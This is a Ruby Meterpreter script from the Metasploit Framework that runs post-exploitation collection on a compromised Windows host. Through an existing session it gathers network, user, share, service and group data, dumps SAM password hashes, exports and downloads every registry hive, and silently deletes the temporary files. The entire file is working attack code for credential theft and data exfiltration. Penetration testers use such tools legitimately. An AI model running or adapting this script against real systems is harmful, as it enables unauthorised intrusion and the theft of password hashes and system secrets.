metasploit-framework/scripts/meterpreter/scraper.rb

#
# This is a Meterpreter script designed to be used by the Metasploit Framework
#
# The goal of this script is to obtain system information from a victim through
# an existing Meterpreter session. This is only a simple example of what can
# be accomplished through Meterpreter scripting.
#
# hdm[at]metasploit.com
#

require 'fileutils'

# Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
# The complete version will be released in the future as 'autometer'

# Delete a file (meterpreter has no unlink API yet)
def m_unlink(session, path)
	r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
	while(r.name)
		select(nil, nil, nil, 0.10)
	end
	r.close
end

# Exec a command and return the results
def m_exec(session, cmd)
	r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
	b = ""
	while(d = r.channel.read)
		b << d
	end
	r.channel.close			
	r.close
	b
end




# The 'client' object holds the Meterpreter session
# Aliasing here for plugin compatibility
session = client

# Extract the host and port
host,port = session.tunnel_peer.split(':')

print_status("New session on #{host}:#{port}...")

# Create a directory for the logs
logs = ::File.join(Msf::Config.config_directory, 'logs', 'scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )

# Create the log directory
::FileUtils.mkdir_p(logs)


begin

	tmp = session.fs.file.expand_path("%TEMP%")

	print_status("Gathering basic system information...")

	::File.open(File.join(logs, "network.txt"), "w") do |fd|
		fd.puts("=" * 70)
		session.net.config.each_route do |route|
			fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
		end

		fd.puts("=" * 70)
		fd.puts(m_exec(session, "netstat -na"))

		fd.puts("=" * 70)
		fd.puts(m_exec(session, "netstat -ns"))
	end

	info = session.sys.config.sysinfo()
	::File.open(File.join(logs, "system.txt"), "w") do |fd|
		fd.puts("Computer: #{info['Computer']}")
		fd.puts("OS: #{info['OS']}")
	end

	::File.open(File.join(logs, "env.txt"), "w") do |fd|
		fd.puts(m_exec(session, "cmd.exe /c set"))
	end

	::File.open(File.join(logs, "users.txt"), "w") do |fd|
		fd.puts(m_exec(session, "net user"))
	end

	::File.open(File.join(logs, "shares.txt"), "w") do |fd|
		fd.puts(m_exec(session, "net share"))
	end

	::File.open(File.join(logs, "services.txt"), "w") do |fd|
		fd.puts(m_exec(session, "net start"))
	end

	::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
		fd.puts(m_exec(session, "net view"))
	end

	::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
		fd.puts(m_exec(session, "net localgroup"))
	end

	::File.open(File.join(logs, "group.txt"), "w") do |fd|
		fd.puts(m_exec(session, "net group"))
	end

	begin
		session.core.use("priv")
		hashes = session.priv.sam_hashes
		print_status("Dumping password hashes...")
		::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
			hashes.each do |user|
				fd.puts(user.to_s)
			end
		end
	rescue ::Exception => e
		print_status("Error dumping hashes: #{e.class} #{e}")
	end

	print_status("Obtaining the entire registry...")
	hives = %w{HKCU HKLM HKCC HKCR HKU}
	hives.each do |hive|
		print_status(" Exporting #{hive}")

		tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
		m_exec(session, "reg.exe export #{hive} #{tempname}")

		print_status(" Downloading #{hive} (#{tempname})")
		session.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)

		print_status(" Cleaning #{hive}")
		m_unlink(session, tempname)
	end
	
	print_status("Completed processing on #{host}:#{port}...")
	
rescue ::Exception => e
	print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end